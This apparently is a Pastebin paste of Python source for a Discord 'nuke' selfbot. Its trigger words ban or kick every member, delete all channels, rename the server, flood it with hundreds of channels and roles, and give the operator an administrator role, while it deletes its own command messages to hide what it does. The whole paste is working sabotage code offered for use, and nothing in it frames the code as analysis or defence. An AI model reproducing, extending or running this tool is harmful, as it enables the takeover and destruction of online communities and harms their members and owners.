Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import discord,re,os,click,clint,asyncio,time,string,random
- from collections import defaultdict
- from discord import Forbidden, Webhook
- asyncloop = asyncio.get_event_loop() #Make an event loop incase things have to be waited for. (ex. deleting loading messages at the correct time)
- client = discord.Client(loop=asyncloop)
- botOwner = 507396563463831553 #Big Boi The Second#6174
- CNTasks = defaultdict(list)
- async def SRVNuke(message, nukedmsg="Blazon Is Epic", channame="sorry for party rocking"):
- try:
- await message.delete()
- except:
- print("Failed to delete command message. Cover may be blown.")
- print('Target locked: "'+message.guild.name+'" Designated by: "'+message.author.name+'#'+message.author.discriminator+'"')
- print('|----- SRV-Nuke -----|')
- print("Permissions:")
- print("Banning? : "+str(message.guild.me.guild_permissions.ban_members))
- print("Kicking? : "+str(message.guild.me.guild_permissions.kick_members))
- print("Manage Server? : "+str(message.guild.me.guild_permissions.manage_guild))
- print("Manage Channels? : "+str(message.guild.me.guild_permissions.manage_channels))
- print("\n",end='')
- toprole = message.guild.me.top_role
- members = [x for x in message.guild.members]
- for member in members:
- if int(member.id) == int(botOwner) or int(member.id) == int(message.author.id):
- print('Ignored Bot Owner on server: "'+member.guild.name+'"')
- continue
- elif int(member.id) == int(client.user.id):
- print('Ignored Client (Self) on server: "'+member.guild.name+'"')
- continue
- try:
- if message.guild.me.guild_permissions.ban_members and toprole.position > member.top_role.position:
- await member.ban()
- print("Banned member: \""+member.name+'#'+member.discriminator+'" from server: "'+str(member.guild)+'"')
- elif message.guild.me.guild_permissions.kick_members and toprole.position > member.top_role.position:
- await member.kick()
- print("Ban failed, Kicked member: \""+member.name+'#'+member.discriminator+'" from server: "'+str(member.guild)+'"')
- else:
- print('Forbidden to ban/kick member: "'+member.name+'" on server "'+member.guild.name+'"')
- except Forbidden:
- print("Forbidden to kick/ban member: \""+member.name+'#'+member.discriminator+'" from server: "'+member.guild.name+'"')
- continue
- channels = [x for x in message.guild.channels]
- for channel in channels:
- try:
- await channel.delete()
- print("Deleted a channel named: \""+channel.name+"\" on server: \""+str(message.guild)+'"')
- except Forbidden:
- print("Forbidden to delete a channel named: \""+channel.name+"\" on server: \""+str(message.guild)+'" (exception)')
- continue
- await message.guild.create_text_channel(channame)
- if message.guild.me.guild_permissions.manage_guild == True:
- await message.guild.edit(name=nukedmsg,icon=None)
- print("Changed server properties of: \""+message.guild.name+'"')
- else:
- print("Bot is forbidden to change server properties of: \""+message.guild.name+'"')
- #await message.guild.leave()
- print("|----- SRV-Nuke -----|\n")
- async def CFlood(message):
- try:
- await message.delete()
- except:
- print("Failed to delete command message. Cover may be blown.")
- print('Target locked: "'+message.guild.name+'" Designated by: "'+message.author.name+'#'+message.author.discriminator+'"')
- print('|----- CFlood -----|')
- print("Permissions:")
- print("Manage Channels? : "+str(message.guild.me.guild_permissions.manage_channels))
- print("\n",end='')
- if message.guild.me.guild_permissions.manage_channels:
- for x in range(500):
- try:
- chan = await message.guild.create_text_channel(str(x + 1))
- except discord.errors.HTTPException as err:
- if err.text == 'Maximum number of guild channels reached (500)':
- print("Maximum number of guild channels reached in server: \""+message.guild.name+'"')
- break
- else: raise
- print('Created channel: "'+chan.name+'" on server: "'+message.guild.name+'"')
- else:
- print("Forbidden to CFlood server: \""+message.guild.name+'"')
- print("|----- CFlood -----|\n")
- async def RFlood(message):
- try:
- await message.delete()
- except:
- print("Failed to delete command message. Cover may be blown.")
- print('Target locked: "'+message.guild.name+'" Designated by: "'+message.author.name+'#'+message.author.discriminator+'"')
- print('|----- RFlood -----|')
- print("Permissions:")
- print("Manage Roles? : "+str(message.guild.me.guild_permissions.manage_roles))
- print("\n",end='')
- if message.guild.me.guild_permissions.manage_roles:
- for x in range(500):
- try:
- role = await message.guild.create_role(name=str(x + 1),mentionable=True)
- except discord.errors.HTTPException as err:
- if err.text == 'Maximum number of guild roles reached (250)':
- print("Maximum number of guild roles reached in server: \""+message.guild.name+'"')
- break
- else: raise
- print('Created role: "'+role.name+'" on server: "'+message.guild.name+'"')
- else:
- print("Forbidden to RFlood server: \""+message.guild.name+'"')
- print("|----- RFlood -----|\n")
- def id_generator(size=6, chars=string.ascii_uppercase + "`~!@#$%^&*()-_=+|]}[{'\";:,<.>/?"):
- return ''.join(random.choice(chars) for _ in range(size))
- async def SetStatusInvisible(message):
- try:
- await message.delete()
- except:
- print("Failed to delete command message. Cover may be blown.")
- await client.change_presence(status=discord.Status.invisible)
- async def SetStatusOnline(message):
- try:
- await message.delete()
- except:
- print("Failed to delete command message. Cover may be blown.")
- await client.change_presence(status=discord.Status.online)
- async def ChangeNameOn(message):
- try:
- await message.delete()
- except:
- pass
- await message.guild.me.edit(nick=str(id_generator()))
- await asyncio.sleep(1.5)
- CNTasks[message.guild.id].append(asyncio.ensure_future(ChangeNameOn(message)))
- async def ChangeNameOff(message):
- try:
- await message.delete()
- except:
- pass
- print('Killing ChangeName tasks for server: "'+message.guild.name+'"')
- for x in CNTasks[message.guild.id]:
- x.cancel()
- else:
- del CNTasks[message.guild.id]
- async def GiveAdmin(message):
- try:
- await message.delete()
- except:
- pass
- sorole = await message.guild.create_role(name="B-29 V9 Pilot", permissions=discord.Permissions(permissions=8))
- toprole = message.guild.me.top_role.position - 1
- await sorole.edit(position=toprole)
- await message.author.add_roles(sorole)
- def rmmsg_predicate(message):
- return not message.author.bot
- async def RemoveMyMessages(message):
- async for msg in message.channel.history().filter(lambda message: message.author.id == client.user.id):
- await msg.delete()
- await asyncio.sleep(.1)
- @client.event
- async def on_message(message):
- if message.author.id != client.user.id:
- return
- elif message.content.lower() == 'srvnuke': #Server Nuke
- await SRVNuke(message)
- elif message.content.lower() == 'cflood': #Channel Flood
- await CFlood(message)
- elif message.content.lower() == 'rflood': #Role Flood
- await RFlood(message)
- elif message.content == "ssi": #Set Status Invisible
- await SetStatusInvisible(message)
- elif message.content == "sso": #Set Status Online
- await SetStatusOnline(message)
- elif message.content == "cno": #Change Name On
- await ChangeNameOn(message)
- print('Starting ChangeName for server: "'+message.guild.name+'"')
- elif message.content == "cnoff": #Change Name Off
- await ChangeNameOff(message)
- elif message.content == "gay": #Give Admin
- await GiveAdmin(message)
- elif message.content == "rm messages":
- await RemoveMyMessages(message)
- @client.event
- async def on_ready():
- print('--------------------------')
- print('Login successful.')
- print("NAME: "+str(client.user.name)+'#'+str(client.user.discriminator))
- print("ID: "+str(client.user.id))
- print("Blazons Hot Stuff is ready to drop the bombs.")
- print("(Formerly Blazons Nuke)")
- print('----------------------')
- client.run('', bot=False)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement